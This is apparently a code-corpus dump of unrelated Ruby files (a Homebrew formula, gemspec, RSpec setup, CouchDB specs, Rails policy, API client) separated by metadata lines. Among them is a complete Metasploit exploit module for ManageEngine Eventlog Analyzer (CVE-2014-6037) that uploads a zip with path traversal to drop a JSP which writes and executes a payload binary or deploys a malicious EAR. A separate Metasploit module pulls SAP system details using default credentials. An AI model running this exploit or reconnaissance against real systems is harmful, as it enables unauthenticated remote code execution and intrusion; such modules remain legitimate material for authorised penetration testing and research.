args = ["--prefix=#{prefix}",
"--enable-pic",
"--disable-examples",
"--disable-runtime-cpu-detect"]
args << "--enable-gcov" if build.include? "gcov" and not ENV.compiler == :clang
args << "--enable-mem-tracker" if build.include? "mem-tracker"
args << "--enable-postproc-visualizer" if build.include? "visualizer"
# see http://code.google.com/p/webm/issues/detail?id=401
# Configure misdetects 32-bit 10.6.
# Determine if the computer runs Darwin 9, 10, or 11 using uname -r.
osver = %x[uname -r | cut -d. -f1].chomp
if MacOS.prefer_64_bit? then
args << "--target=x86_64-darwin#{osver}-gcc"
else
args << "--target=x86-darwin#{osver}-gcc"
end
mkdir 'macbuild' do
system "../configure", *args
system "make install"
end
end
end
__END__
--- a/build/make/gen_asm_deps.sh 2012-05-08 16:14:00.000000000 -0700
+++ b/build/make/gen_asm_deps.sh 2012-06-19 20:26:54.000000000 -0700
@@ -42,7 +42,7 @@
[ -n "$srcfile" ] || show_help
sfx=${sfx:-asm}
-includes=$(LC_ALL=C egrep -i "include +\"?+[a-z0-9_/]+\.${sfx}" $srcfile |
+includes=$(LC_ALL=C egrep -i "include +\"+[a-z0-9_/]+\.${sfx}" $srcfile |
perl -p -e "s;.*?([a-z0-9_/]+.${sfx}).*;\1;")
#" restore editor state
for inc in ${includes}; do
| 35 | 104 | 0.646489 |
39889ab39e7b8b5588bd7ad757893e80f7a32e4b | 711 | # coding: utf-8
Gem::Specification.new do |spec|
spec.name = "phantom_jekyll_theme"
spec.version = "0.1.1"
spec.authors = ["Andrew Banchich"]
spec.email = ["[email protected]"]
spec.summary = %q{A Jekyll version of the "Phantom" theme by HTML5 UP.}
spec.homepage = "https://gitlab.com/andrewbanchich/phantom-jekyll-theme"
spec.license = "MIT"
spec.files = `git ls-files -z`.split("\x0").select { |f| f.match(%r{^(assets|_layouts|_includes|_sass|LICENSE|README)}i) }
spec.add_development_dependency "jekyll", "~> 3.3"
spec.add_development_dependency "bundler", "~> 1.12"
spec.add_development_dependency "rake", "~> 10.0"
end
| 37.421053 | 132 | 0.644163 |
181e0ac3adef936b82f998569692f429baed5966 | 5,001 | # frozen_string_literal: true
require 'dotenv/load'
require 'webmock/rspec'
# This file was generated by the `rails generate rspec:install` command. Conventionally, all
# specs live under a `spec` directory, which RSpec adds to the `$LOAD_PATH`.
# The generated `.rspec` file contains `--require spec_helper` which will cause
# this file to always be loaded, without a need to explicitly require it in any
# files.
#
# Given that it is always loaded, you are encouraged to keep this file as
# light-weight as possible. Requiring heavyweight dependencies from this file
# will add to the boot time of your test suite on EVERY test run, even for an
# individual file that may not need all of that loaded. Instead, consider making
# a separate helper file that requires the additional dependencies and performs
# the additional setup, and require it from the spec files that actually need
# it.
#
# See http://rubydoc.info/gems/rspec-core/RSpec/Core/Configuration
RSpec.configure do |config|
# rspec-expectations config goes here. You can use an alternate
# assertion/expectation library such as wrong or the stdlib/minitest
# assertions if you prefer.
config.expect_with :rspec do |expectations|
# This option will default to `true` in RSpec 4. It makes the `description`
# and `failure_message` of custom matchers include text for helper methods
# defined using `chain`, e.g.:
# be_bigger_than(2).and_smaller_than(4).description
# # => "be bigger than 2 and smaller than 4"
# ...rather than:
# # => "be bigger than 2"
expectations.include_chain_clauses_in_custom_matcher_descriptions = true
end
# rspec-mocks config goes here. You can use an alternate test double
# library (such as bogus or mocha) by changing the `mock_with` option here.
config.mock_with :rspec do |mocks|
# Prevents you from mocking or stubbing a method that does not exist on
# a real object. This is generally recommended, and will default to
# `true` in RSpec 4.
mocks.verify_partial_doubles = true
end
# This option will default to `:apply_to_host_groups` in RSpec 4 (and will
# have no way to turn it off -- the option exists only for backwards
# compatibility in RSpec 3). It causes shared context metadata to be
# inherited by the metadata hash of host groups and examples, rather than
# triggering implicit auto-inclusion in groups with matching metadata.
config.shared_context_metadata_behavior = :apply_to_host_groups
# The settings below are suggested to provide a good initial experience
# with RSpec, but feel free to customize to your heart's content.
# # This allows you to limit a spec run to individual examples or groups
# # you care about by tagging them with `:focus` metadata. When nothing
# # is tagged with `:focus`, all examples get run. RSpec also provides
# # aliases for `it`, `describe`, and `context` that include `:focus`
# # metadata: `fit`, `fdescribe` and `fcontext`, respectively.
config.filter_run_when_matching :focus
#
# # Allows RSpec to persist some state between runs in order to support
# # the `--only-failures` and `--next-failure` CLI options. We recommend
# # you configure your source control system to ignore this file.
# config.example_status_persistence_file_path = "spec/examples.txt"
#
# # Limits the available syntax to the non-monkey patched syntax that is
# # recommended. For more details, see:
# # - http://rspec.info/blog/2012/06/rspecs-new-expectation-syntax/
# # - http://www.teaisaweso.me/blog/2013/05/27/rspecs-new-message-expectation-syntax/
# # - http://rspec.info/blog/2014/05/notable-changes-in-rspec-3/#zero-monkey-patching-mode
# config.disable_monkey_patching!
#
# # Many RSpec users commonly either run the entire suite or an individual
# # file, and it's useful to allow more verbose output when running an
# # individual spec file.
# if config.files_to_run.one?
# # Use the documentation formatter for detailed output,
# # unless a formatter has already been configured
# # (e.g. via a command-line flag).
# config.default_formatter = "doc"
# end
#
# # Print the 10 slowest examples and example groups at the
# # end of the spec run, to help surface which specs are running
# # particularly slow.
# config.profile_examples = 10
#
# # Run specs in random order to surface order dependencies. If you find an
# # order dependency and want to debug it, you can fix the order by providing
# # the seed, which is printed after each run.
# # --seed 1234
# config.order = :random
#
# # Seed global randomization in this process using the `--seed` CLI option.
# # Setting this allows you to use `--seed` to deterministically reproduce
# # test failures related to randomization by passing the same `--seed` value
# # as the one that triggered the failure.
# Kernel.srand config.seed
end
| 50.01 | 96 | 0.718656 |
3996f87958675c4ce75e0d61f8230346b7eff186 | 2,262 | require File.dirname(__FILE__) + '/../spec_helper.rb'
describe "ActiveCouch::Base #count method with just simple attributes" do
before(:each) do
# Define the model
class Person < ActiveCouch::Base
site 'http://localhost:5984'
has :name
end
# Define the migration
class ByName < ActiveCouch::Migration
define :for_db => 'people' do
with_key 'name'
end
end
# Create the database first
ActiveCouch::Migrator.create_database('http://localhost:5984', 'people')
# Create a view
ActiveCouch::Migrator.migrate('http://localhost:5984', ByName)
# Save an object
Person.new(:name => 'McLovin').save
end
after(:each) do
# Delete the database last
ActiveCouch::Migrator.delete_database('http://localhost:5984', 'people')
Object.send(:remove_const, :Person)
end
it "should respond to the find method" do
Person.should respond_to(:count)
end
it "should return an array with one Person object in it, when sent method find with parameter :all" do
count = Person.count(:params => {:name => 'McLovin'})
count.should == 1
end
end
describe "ActiveCouch::Base #find method with multiple documents in the CouchDB database" do
before(:each) do
class Person < ActiveCouch::Base
site 'http://localhost:5984'
has :first_name
has :last_name
end
# Define the migration
class ByLastName < ActiveCouch::Migration
define :for_db => 'people' do
with_key 'last_name'
end
end
# Create the database first
ActiveCouch::Migrator.create_database('http://localhost:5984', 'people')
# Create a view
ActiveCouch::Migrator.migrate('http://localhost:5984', ByLastName)
# Save two objects
Person.create(:last_name => 'McLovin', :first_name => 'Seth')
Person.create(:last_name => 'McLovin', :first_name => 'Bob')
end
after(:each) do
# Delete the database last
ActiveCouch::Migrator.delete_database('http://localhost:5984', 'people')
Object.send(:remove_const, :Person)
end
it "should find all objects in the database when find method is sent the param :all" do
count = Person.count(:params => {:last_name => 'McLovin'})
count.should == 2
end
end
| 29.763158 | 104 | 0.665782 |
eda04d55c31781eef68dac8c9ea7f12c81a70ed6 | 10,955 | ##
# This module requires Metasploit: http://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
require 'msf/core'
class Metasploit3 < Msf::Exploit::Remote
Rank = ExcellentRanking
include Msf::Exploit::Remote::HttpClient
include Msf::Exploit::FileDropper
include Msf::Exploit::EXE
def initialize(info = {})
super(update_info(info,
'Name' => 'ManageEngine Eventlog Analyzer Arbitrary File Upload',
'Description' => %q{
This module exploits a file upload vulnerability in ManageEngine Eventlog Analyzer.
The vulnerability exists in the agentUpload servlet which accepts unauthenticated
file uploads and handles zip file contents in a insecure way. By combining both
weaknesses a remote attacker can achieve remote code execution. This module has been
tested successfully on versions v7.0 - v9.9 b9002 in Windows and Linux. Versions
between 7.0 and < 8.1 are only exploitable via EAR deployment in the JBoss server,
while versions 8.1+ are only exploitable via a JSP upload.
},
'Author' =>
[
'h0ng10', # Vulnerability discovery
'Pedro Ribeiro <pedrib[at]gmail.com>' # Metasploit module
],
'License' => MSF_LICENSE,
'References' =>
[
[ 'CVE', '2014-6037' ],
[ 'OSVDB', '110642' ],
[ 'URL', 'https://www.mogwaisecurity.de/advisories/MSA-2014-01.txt' ],
[ 'URL', 'http://seclists.org/fulldisclosure/2014/Aug/86' ]
],
'DefaultOptions' => { 'WfsDelay' => 5 },
'Privileged' => false, # Privileged on Windows but not on Linux targets
'Platform' => %w{ java linux win },
'Targets' =>
[
[ 'Automatic', { } ],
[ 'Eventlog Analyzer v7.0 - v8.0 / Java universal',
{
'Platform' => 'java',
'Arch' => ARCH_JAVA,
'WfsDelay' => 30
}
],
[ 'Eventlog Analyzer v8.1 - v9.9 b9002 / Windows',
{
'Platform' => 'win',
'Arch' => ARCH_X86
}
],
[ 'Eventlog Analyzer v8.1 - v9.9 b9002 / Linux',
{
'Platform' => 'linux',
'Arch' => ARCH_X86
}
]
],
'DefaultTarget' => 0,
'DisclosureDate' => 'Aug 31 2014'))
register_options(
[
Opt::RPORT(8400),
OptInt.new('SLEEP',
[true, 'Seconds to sleep while we wait for EAR deployment (Java target only)', 15]),
], self.class)
end
def get_version
res = send_request_cgi({
'uri' => normalize_uri("event/index3.do"),
'method' => 'GET'
})
if res and res.code == 200
if res.body =~ /ManageEngine EventLog Analyzer ([0-9]{1})/
return $1
end
end
return "0"
end
def check
version = get_version
if version >= "7" and version <= "9"
# version 7 to < 8.1 detection
res = send_request_cgi({
'uri' => normalize_uri("event/agentUpload"),
'method' => 'GET'
})
if res and res.code == 405
return Exploit::CheckCode::Appears
end
# version 8.1+ detection
res = send_request_cgi({
'uri' => normalize_uri("agentUpload"),
'method' => 'GET'
})
if res and res.code == 405 and version == 8
return Exploit::CheckCode::Appears
else
# We can't be sure that it is vulnerable in version 9
return Exploit::CheckCode::Detected
end
else
return Exploit::CheckCode::Safe
end
end
def create_zip_and_upload(payload, target_path, is_payload = true)
# Zipping with CM_STORE to avoid errors decompressing the zip
# in the Java vulnerable application
zip = Rex::Zip::Archive.new(Rex::Zip::CM_STORE)
zip.add_file(target_path, payload)
post_data = Rex::MIME::Message.new
post_data.add_part(zip.pack, "application/zip", 'binary', "form-data; name=\"#{Rex::Text.rand_text_alpha(4+rand(4))}\"; filename=\"#{Rex::Text.rand_text_alpha(4+rand(4))}.zip\"")
data = post_data.to_s
if is_payload
print_status("Uploading payload...")
end
res = send_request_cgi({
'uri' => (@my_target == targets[1] ? normalize_uri("/event/agentUpload") : normalize_uri("agentUpload")),
'method' => 'POST',
'data' => data,
'ctype' => "multipart/form-data; boundary=#{post_data.bound}"
})
if res and res.code == 200 and res.body.empty?
if is_payload
print_status("Payload uploaded successfully")
end
register_files_for_cleanup(target_path.gsub("../../", "../"))
return true
else
return false
end
end
def pick_target
return target if target.name != 'Automatic'
print_status("Determining target")
version = get_version
if version == "7"
return targets[1]
end
os_finder_payload = %Q{<html><body><%out.println(System.getProperty("os.name"));%></body><html>}
jsp_name = "#{rand_text_alphanumeric(4+rand(32-4))}.jsp"
target_dir = "../../webapps/event/"
if not create_zip_and_upload(os_finder_payload, target_dir + jsp_name, false)
if version == "8"
# Versions < 8.1 do not have a Java compiler, but can be exploited via the EAR method
return targets[1]
end
return nil
end
res = send_request_cgi({
'uri' => normalize_uri(jsp_name),
'method' => 'GET'
})
if res and res.code == 200
if res.body.to_s =~ /Windows/
return targets[2]
else
# assuming Linux
return targets[3]
end
end
return nil
end
def generate_jsp_payload
opts = {:arch => @my_target.arch, :platform => @my_target.platform}
payload = exploit_regenerate_payload(@my_target.platform, @my_target.arch)
exe = generate_payload_exe(opts)
base64_exe = Rex::Text.encode_base64(exe)
native_payload_name = rand_text_alpha(rand(6)+3)
ext = (@my_target['Platform'] == 'win') ? '.exe' : '.bin'
var_raw = rand_text_alpha(rand(8) + 3)
var_ostream = rand_text_alpha(rand(8) + 3)
var_buf = rand_text_alpha(rand(8) + 3)
var_decoder = rand_text_alpha(rand(8) + 3)
var_tmp = rand_text_alpha(rand(8) + 3)
var_path = rand_text_alpha(rand(8) + 3)
var_proc2 = rand_text_alpha(rand(8) + 3)
if @my_target['Platform'] == 'linux'
var_proc1 = Rex::Text.rand_text_alpha(rand(8) + 3)
chmod = %Q|
Process #{var_proc1} = Runtime.getRuntime().exec("chmod 777 " + #{var_path});
Thread.sleep(200);
|
var_proc3 = Rex::Text.rand_text_alpha(rand(8) + 3)
cleanup = %Q|
Thread.sleep(200);
Process #{var_proc3} = Runtime.getRuntime().exec("rm " + #{var_path});
|
else
chmod = ''
cleanup = ''
end
jsp = %Q|
<%@page import="java.io.*"%>
<%@page import="sun.misc.BASE64Decoder"%>
<%
try {
String #{var_buf} = "#{base64_exe}";
BASE64Decoder #{var_decoder} = new BASE64Decoder();
byte[] #{var_raw} = #{var_decoder}.decodeBuffer(#{var_buf}.toString());
File #{var_tmp} = File.createTempFile("#{native_payload_name}", "#{ext}");
String #{var_path} = #{var_tmp}.getAbsolutePath();
BufferedOutputStream #{var_ostream} =
new BufferedOutputStream(new FileOutputStream(#{var_path}));
#{var_ostream}.write(#{var_raw});
#{var_ostream}.close();
#{chmod}
Process #{var_proc2} = Runtime.getRuntime().exec(#{var_path});
#{cleanup}
} catch (Exception e) {
}
%>
|
jsp = jsp.gsub(/\n/, '')
jsp = jsp.gsub(/\t/, '')
jsp = jsp.gsub(/\x0d\x0a/, "")
jsp = jsp.gsub(/\x0a/, "")
return jsp
end
def exploit_native
# When using auto targeting, MSF selects the Windows meterpreter as the default payload.
# Fail if this is the case and ask the user to select an appropriate payload.
if @my_target['Platform'] == 'linux' and payload_instance.name =~ /Windows/
fail_with(Failure::BadConfig, "#{peer} - Select a compatible payload for this Linux target.")
end
jsp_name = "#{rand_text_alphanumeric(4+rand(32-4))}.jsp"
target_dir = "../../webapps/event/"
jsp_payload = generate_jsp_payload
if not create_zip_and_upload(jsp_payload, target_dir + jsp_name)
fail_with(Failure::Unknown, "#{peer} - Payload upload failed")
end
return jsp_name
end
def exploit_java
# When using auto targeting, MSF selects the Windows meterpreter as the default payload.
# Fail if this is the case and ask the user to select an appropriate payload.
if @my_target['Platform'] == 'java' and not payload_instance.name =~ /Java/
fail_with(Failure::BadConfig, "#{peer} - Select a compatible payload for this Java target.")
end
target_dir = "../../server/default/deploy/"
# First we generate the WAR with the payload...
war_app_base = rand_text_alphanumeric(4 + rand(32 - 4))
war_payload = payload.encoded_war({ :app_name => war_app_base })
# ... and then we create an EAR file that will contain it.
ear_app_base = rand_text_alphanumeric(4 + rand(32 - 4))
app_xml = %Q{<?xml version="1.0" encoding="UTF-8"?><application><display-name>#{rand_text_alphanumeric(4 + rand(32 - 4))}</display-name><module><web><web-uri>#{war_app_base + ".war"}</web-uri><context-root>/#{ear_app_base}</context-root></web></module></application>}
# Zipping with CM_STORE to avoid errors while decompressing the zip
# in the Java vulnerable application
ear_file = Rex::Zip::Archive.new(Rex::Zip::CM_STORE)
ear_file.add_file(war_app_base + ".war", war_payload.to_s)
ear_file.add_file("META-INF/application.xml", app_xml)
ear_file_name = rand_text_alphanumeric(4 + rand(32 - 4)) + ".ear"
if not create_zip_and_upload(ear_file.pack, target_dir + ear_file_name)
fail_with(Failure::Unknown, "#{peer} - Payload upload failed")
end
print_status("Waiting " + datastore['SLEEP'].to_s + " seconds for EAR deployment...")
sleep(datastore['SLEEP'])
return normalize_uri(ear_app_base, war_app_base, rand_text_alphanumeric(4 + rand(32 - 4)))
end
def exploit
if datastore['SLEEP'] < 0
print_error("The SLEEP datastore option shouldn't be negative")
return
end
@my_target = pick_target
if @my_target.nil?
print_error("Unable to select a target, we must bail.")
return
else
print_status("Selected target #{@my_target.name}")
end
if @my_target == targets[1]
exploit_path = exploit_java
else
exploit_path = exploit_native
end
print_status("Executing payload...")
send_request_cgi({
'uri' => normalize_uri(exploit_path),
'method' => 'GET'
})
end
end
| 31.84593 | 271 | 0.608672 |
f81f75c81aaea23446eecd5729838ecf09b3c916 | 922 | # frozen_string_literal: true
class MembershipPolicy < ApplicationPolicy
def update?
@user.global_administrator? || @user.is_admin_of?(@record.org)
end
def destroy?
update? && @record.user.role_level_in(@record.org) != @user.role_level_in(@record.org)
end
def update_global_role?
@user.global_administrator? && target_user_ranks_lower && target_role_not_above_own_role
end
def revoke_global_role?
update_global_role? && target_user_global_level != @user.global_role.level
end
private
def target_user_global_level
@record.user.global_role.try(:level) || Role::MINIMAL_ROLE_LEVEL
end
def membership_role_level
Role::ROLE_LEVELS[@record.role] || Role::MINIMAL_ROLE_LEVEL
end
def target_user_ranks_lower
target_user_global_level < @user.global_role.level
end
def target_role_not_above_own_role
membership_role_level <= @user.global_role.level
end
end
| 24.263158 | 92 | 0.761388 |
bf09eee62b31b7bb121c719aa29855e497037ae7 | 124 | class AddForeignKeyToLocations < ActiveRecord::Migration[5.0]
def change
add_foreign_key :locations, :users
end
end
| 20.666667 | 61 | 0.774194 |
e847d499cb9489f93a03c9513f60836b1039b47e | 3,448 | require 'base_api/configurable'
require 'httparty'
require 'base_api/error'
require 'base_api/client/authorizations'
require 'base_api/client/users'
require 'base_api/client/items'
require 'base_api/client/categories'
require 'base_api/client/item_categories'
require 'base_api/client/orders'
module BaseApi
# TODO: 責務でクラス分ける
class Client
include HTTParty
include BaseApi::Configurable
include BaseApi::Client::Authorizations
include BaseApi::Client::Users
include BaseApi::Client::Items
include BaseApi::Client::Categories
include BaseApi::Client::ItemCategories
include BaseApi::Client::Orders
base_uri 'https://api.thebase.in'
attr_accessor :client_id, :client_secret, :code, :access_token, :refresh_token,
:offset, :response
def initialize(options = {})
BaseApi::Configurable.keys.each do |key|
value = options.key?(key) ? options[key] : BaseApi.instance_variable_get(:"@#{key}")
instance_variable_set(:"@#{key}", value)
end
yield(self) if block_given?
end
def inspect
inspected = super
inspected.gsub! @code, '*******' if @code
inspected.gsub! @access_token, "#{'*'*28}#{@access_token[28..-1]}" if @access_token
inspected.gsub! @refresh_token, "#{'*'*28}#{@refresh_token[28..-1]}" if @refresh_token
inspected.gsub! @client_secret, "#{'*'*28}#{@client_secret[28..-1]}" if @client_secret
inspected
end
def fetch_next_page(&callback)
paginate(@last_page_args[:path], next_page_payload, &callback)
end
def reset_response
@response = nil
@last_page_args = nil
end
private
def call_post_api(path, payload = {}, &callback)
@response = self.class.post(path, { body: payload, headers: authorization_header })
handle_response(&callback)
end
def call_get_api(path, payload = {}, &callback)
@response = self.class.get(path, { query: payload, headers: authorization_header })
handle_response(&callback)
end
def handle_response(&callback)
check_status
success(response, &callback)
rescue => e
error(e, &callback)
end
def authorization_header
{ Authorization: "Bearer #{access_token}" }
end
def paginate(path, payload = {}, &callback)
if different_path_request_called?(path)
reset_response
end
if payload[:offset].nil?
payload.merge!(offset: @offset)
end
if payload[:limit].nil?
payload.merge!(limit: @limit)
end
@last_page_args = { path: path, payload: payload }
call_get_api(path, payload, &callback)
end
def next_page_payload
next_offset = @last_page_args[:payload][:offset] + @last_page_args[:payload][:limit]
@last_page_args[:payload].merge(offset: next_offset)
end
def different_path_request_called?(path)
@last_page_args.is_a?(Hash) && @last_page_args[:path] != path
end
def check_status
if response.client_error?
raise BaseApi::ClientError.new(response)
elsif response.server_error?
raise BaseApi::ServerError.new(response)
end
end
def success(response, &block)
block.call(response, nil) if block_given?
response
end
def error(error, &block)
if block_given?
block.call(response, error)
response
else
raise error
end
end
end
end
| 26.728682 | 92 | 0.656903 |
1c897931c35780af2c1a25b8c02a2170e85c5920 | 924 | module Intrigue
module Ident
module Check
class SalesForce < Intrigue::Ident::Check::Base
def generate_checks(url)
[
{
type: "fingerprint",
category: "application",
tags: ["Cloud", "CRM", "SaaS", "PaaS"],
vendor: "Salesforce",
product: "Salesforce ApexPages",
website: "https://developer.salesforce.com/docs/atlas.en-us.apexcode.meta/apexcode/apex_methods_system_apexpages.htm",
description: "Salesforce Apex Pages header",
version: nil,
match_logic: :all,
matches: [
{
match_type: :content_headers,
match_content: /^X-Powered-By: Salesforce\.com ApexPages$/i,
}
],
paths: [ { path: "#{url}", follow_redirects: true } ],
inference: false
}
]
end
end
end
end
end | 28 | 130 | 0.528139 |
f86371068bf773e41f5785261b7d531d29162fcf | 843 | require 'formula'
class Henplus < Formula
homepage 'https://github.com/neurolabs/henplus'
url 'https://github.com/downloads/neurolabs/henplus/henplus-0.9.8.tar.gz'
sha1 'ab1fc3a2ec5a6c8f434d2965d9bbe2121030ffd1'
depends_on :ant => :build
depends_on 'libreadline-java'
def install
ENV['JAVA_HOME'] = `/usr/libexec/java_home`.chomp
inreplace 'bin/henplus' do |s|
s.gsub! "LD_LIBRARY_PATH", "DYLD_LIBRARY_PATH"
s.gsub! "$THISDIR/..", HOMEBREW_PREFIX
s.gsub! "share/java/libreadline-java.jar",
"share/libreadline-java/libreadline-java.jar"
end
system 'ant', 'install', "-Dprefix=#{prefix}"
end
def caveats; <<-EOS.undent
You may need to set JAVA_HOME:
export JAVA_HOME="$(/usr/libexec/java_home)"
EOS
end
test do
system bin/"henplus", "--help"
end
end
| 24.794118 | 75 | 0.672598 |
ff0ba104841f78ddb2a59ca14c951d297f5ba0b4 | 1,824 | class PlacesController < ApplicationController
before_action :set_place, only: [:show, :edit, :update, :destroy]
load_and_authorize_resource
# GET /places
# GET /places.json
def index
@places = Place.all
end
# GET /places/1
# GET /places/1.json
def show
end
# GET /places/new
def new
@place = Place.new
end
# GET /places/1/edit
def edit
end
# POST /places
# POST /places.json
def create
@place = Place.new(place_params)
respond_to do |format|
if @place.save
format.html { redirect_to @place, notice: 'Place was successfully created.' }
format.json { render :show, status: :created, location: @place }
else
format.html { render :new }
format.json { render json: @place.errors, status: :unprocessable_entity }
end
end
end
# PATCH/PUT /places/1
# PATCH/PUT /places/1.json
def update
respond_to do |format|
if @place.update(place_params)
format.html { redirect_to @place, notice: 'Place was successfully updated.' }
format.json { render :show, status: :ok, location: @place }
else
format.html { render :edit }
format.json { render json: @place.errors, status: :unprocessable_entity }
end
end
end
# DELETE /places/1
# DELETE /places/1.json
def destroy
@place.destroy
respond_to do |format|
format.html { redirect_to places_url, notice: 'Place was successfully destroyed.' }
format.json { head :no_content }
end
end
private
# Use callbacks to share common setup or constraints between actions.
def set_place
@place = Place.find(params[:id])
end
# Only allow a list of trusted parameters through.
def place_params
params.require(:place).permit(:prefecture_id, :note)
end
end
| 24 | 89 | 0.647478 |
21100734ee3445e488627c84cd5c824b7a5ece96 | 7,102 | ##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
# http://metasploit.com/framework/
##
##
# This module is based on, inspired by, or is a port of a plugin available in
# the Onapsis Bizploit Opensource ERP Penetration Testing framework -
# http://www.onapsis.com/research-free-solutions.php.
# Mariano Nunez (the author of the Bizploit framework) helped me in my efforts
# in producing the Metasploit modules and was happy to share his knowledge and
# experience - a very cool guy. I'd also like to thank Chris John Riley,
# Ian de Villiers and Joris van de Vis who have Beta tested the modules and
# provided excellent feedback. Some people just seem to enjoy hacking SAP :)
##
require 'msf/core'
class Metasploit4 < Msf::Auxiliary
include Msf::Exploit::Remote::HttpClient
include Msf::Auxiliary::Report
include Msf::Auxiliary::Scanner
def initialize
super(
'Name' => 'SAP /sap/bc/soap/rfc SOAP Service RFC_SYSTEM_INFO Function Sensitive Information Gathering',
'Description' => %q{
This module makes use of the RFC_SYSTEM_INFO Function to obtain the operating
system version, SAP version, IP address and other information through the use of
the /sap/bc/soap/rfc SOAP service.
},
'References' =>
[
[ 'CVE', '2006-6010' ],
[ 'URL', 'http://labs.mwrinfosecurity.com/tools/2012/04/27/sap-metasploit-modules/' ]
],
'Author' =>
[
'Agnivesh Sathasivam',
'nmonkee',
'ChrisJohnRiley' # module cleanup / streamlining
],
'License' => MSF_LICENSE
)
register_options(
[
Opt::RPORT(8000),
OptString.new('CLIENT', [true, 'SAP Client ', '001']),
OptString.new('USERNAME', [true, 'Username', 'SAP*']),
OptString.new('PASSWORD', [true, 'Password', '06071992']),
], self.class)
end
def extract_field(data, elem)
if data =~ /<#{elem}>([^<]+)<\/#{elem}>/i
return $1
end
nil
end
def report_note_sap(type, data, value)
# create note
report_note(
:host => rhost,
:port => rport,
:proto => 'tcp',
:sname => 'sap',
:type => type,
:data => data + value
) if data
# update saptbl for output
@saptbl << [ data, value ]
end
def run_host(ip)
client = datastore['CLIENT']
data = '<?xml version="1.0" encoding="utf-8" ?>'
data << '<env:Envelope xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:env="http://schemas.xmlsoap.org/soap/envelope/" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance">'
data << '<env:Body>'
data << '<n1:RFC_SYSTEM_INFO xmlns:n1="urn:sap-com:document:sap:rfc:functions" env:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/">'
data << '<CURRENT_RESOURCES xsi:nil="true"></CURRENT_RESOURCES>'
data << '<MAXIMAL_RESOURCES xsi:nil="true"></MAXIMAL_RESOURCES>'
data << '<RECOMMENDED_DELAY xsi:nil="true"></RECOMMENDED_DELAY>'
data << '<RFCSI_EXPORT xsi:nil="true"></RFCSI_EXPORT>'
data << '</n1:RFC_SYSTEM_INFO>'
data << '</env:Body>'
data << '</env:Envelope>'
user_pass = Rex::Text.encode_base64(datastore['USERNAME'] + ":" + datastore['PASSWORD'])
print_status("[SAP] #{ip}:#{rport} - sending SOAP RFC_SYSTEM_INFO request")
begin
res = send_request_raw({
'uri' => '/sap/bc/soap/rfc?sap-client=' + client + '&sap-language=EN',
'method' => 'POST',
'data' => data,
'headers' =>
{
'Content-Length' => data.size.to_s,
'SOAPAction' => 'urn:sap-com:document:sap:rfc:functions',
'Cookie' => 'sap-usercontext=sap-language=EN&sap-client=' + client,
'Authorization' => 'Basic ' + user_pass,
'Content-Type' => 'text/xml; charset=UTF-8'
}
}, 45)
if res and res.code != 500 and res.code != 200
# to do - implement error handlers for each status code, 404, 301, etc.
print_error("[SAP] #{ip}:#{rport} - something went wrong!")
return
elsif not res
print_error("[SAP] #{ip}:#{rport} - Server did not respond")
return
end
rescue ::Rex::ConnectionError
print_error("[SAP] #{ip}:#{rport} - Unable to connect")
return
end
print_status("[SAP] #{ip}:#{rport} - Response received")
# create table for output
@saptbl = Msf::Ui::Console::Table.new(
Msf::Ui::Console::Table::Style::Default,
'Header' => "[SAP] SOAP RFC_SYSTEM_INFO",
'Prefix' => "\n",
'Postfix' => "\n",
'Indent' => 1,
'Columns' =>[ "Key", "Value" ]
)
response = res.body
# extract data from response body
rfcproto = extract_field(response, 'rfcproto')
rfcchartyp = extract_field(response, 'rfcchartyp')
rfcinttyp = extract_field(response, 'rfcinttyp')
rfcflotyp = extract_field(response, 'rfcflotyp')
rfcdest = extract_field(response, 'rfcdest')
rfchost = extract_field(response, 'rfchost')
rfcsysid = extract_field(response, 'rfcsysid')
rfcdbhost = extract_field(response, 'rfcdbhost')
rfcdbsys = extract_field(response, 'rfcdbsys')
rfcsaprl = extract_field(response, 'rfcsaprl')
rfcmach = extract_field(response, 'rfcmach')
rfcopsys = extract_field(response, 'rfcopsys')
rfctzone = extract_field(response, 'rfctzone')
rfcdayst = extract_field(response, 'rfcdayst')
rfcipaddr = extract_field(response, 'rfcipaddr')
rfckernrl = extract_field(response, 'rfckernrl')
rfcipv6addr = extract_field(response, 'rfcipv6addr')
# report notes / create saptbl output
report_note_sap('sap.version.release','Release Status of SAP System: ',rfcsaprl) if rfcsaprl
report_note_sap('sap.version.rfc_log','RFC Log Version: ',rfcproto) if rfcproto
report_note_sap('sap.version.kernel','Kernel Release: ',rfckernrl) if rfckernrl
report_note_sap('system.os','Operating System: ',rfcopsys) if rfcopsys
report_note_sap('sap.db.hostname','Database Host: ',rfcdbhost) if rfcdbhost
report_note_sap('sap.db_system','Central Database System: ',rfcdbsys) if rfcdbsys
report_note_sap('system.hostname','Hostname: ',rfchost) if rfchost
report_note_sap('system.ip.v4','IPv4 Address: ',rfcipaddr) if rfcipaddr
report_note_sap('system.ip.v6','IPv6 Address: ',rfcipv6addr) if rfcipv6addr
report_note_sap('sap.instance','System ID: ',rfcsysid) if rfcsysid
report_note_sap('sap.rfc.destination','RFC Destination: ',rfcdest) if rfcdest
report_note_sap('system.timezone','Timezone (diff from UTC in seconds): ',rfctzone.gsub(/\s+/, "")) if rfctzone
report_note_sap('system.charset','Character Set: ',rfcchartyp) if rfcchartyp
report_note_sap('sap.daylight_saving_time','Daylight Saving Time: ',rfcdayst) if rfcdayst
report_note_sap('sap.machine_id','Machine ID: ',rfcmach.gsub(/\s+/,"")) if rfcmach
if rfcinttyp == 'LIT'
report_note_sap('system.endianness','Integer Format: ', 'Little Endian')
elsif rfcinttyp
report_note_sap('system.endianness','Integer Format: ', 'Big Endian')
end
if rfcflotyp == 'IE3'
report_note_sap('system.float_type','Float Type Format: ', 'IEEE')
elsif rfcflotyp
report_note_sap('system.float_type','Float Type Format: ', 'IBM/370')
end
# output table
print(@saptbl.to_s)
end
end
| 37.97861 | 179 | 0.689383 |
611f798d51822042254ae0927b1b2a606370d71b | 600 | require "economic/proxies/entity_proxy"
module Economic
class CashBookProxy < EntityProxy
def find_by_name(name)
response = request("FindByName", "name" => name)
cash_book = build
cash_book.partial = true
cash_book.persisted = true
cash_book.number = response[:number]
cash_book
end
def get_name(id)
response = request("GetName", "cashBookHandle" => {
"Number" => id
})
cash_book = build
cash_book.number = id
cash_book.name = response
cash_book
end
end
end
| 22.222222 | 57 | 0.588333 |
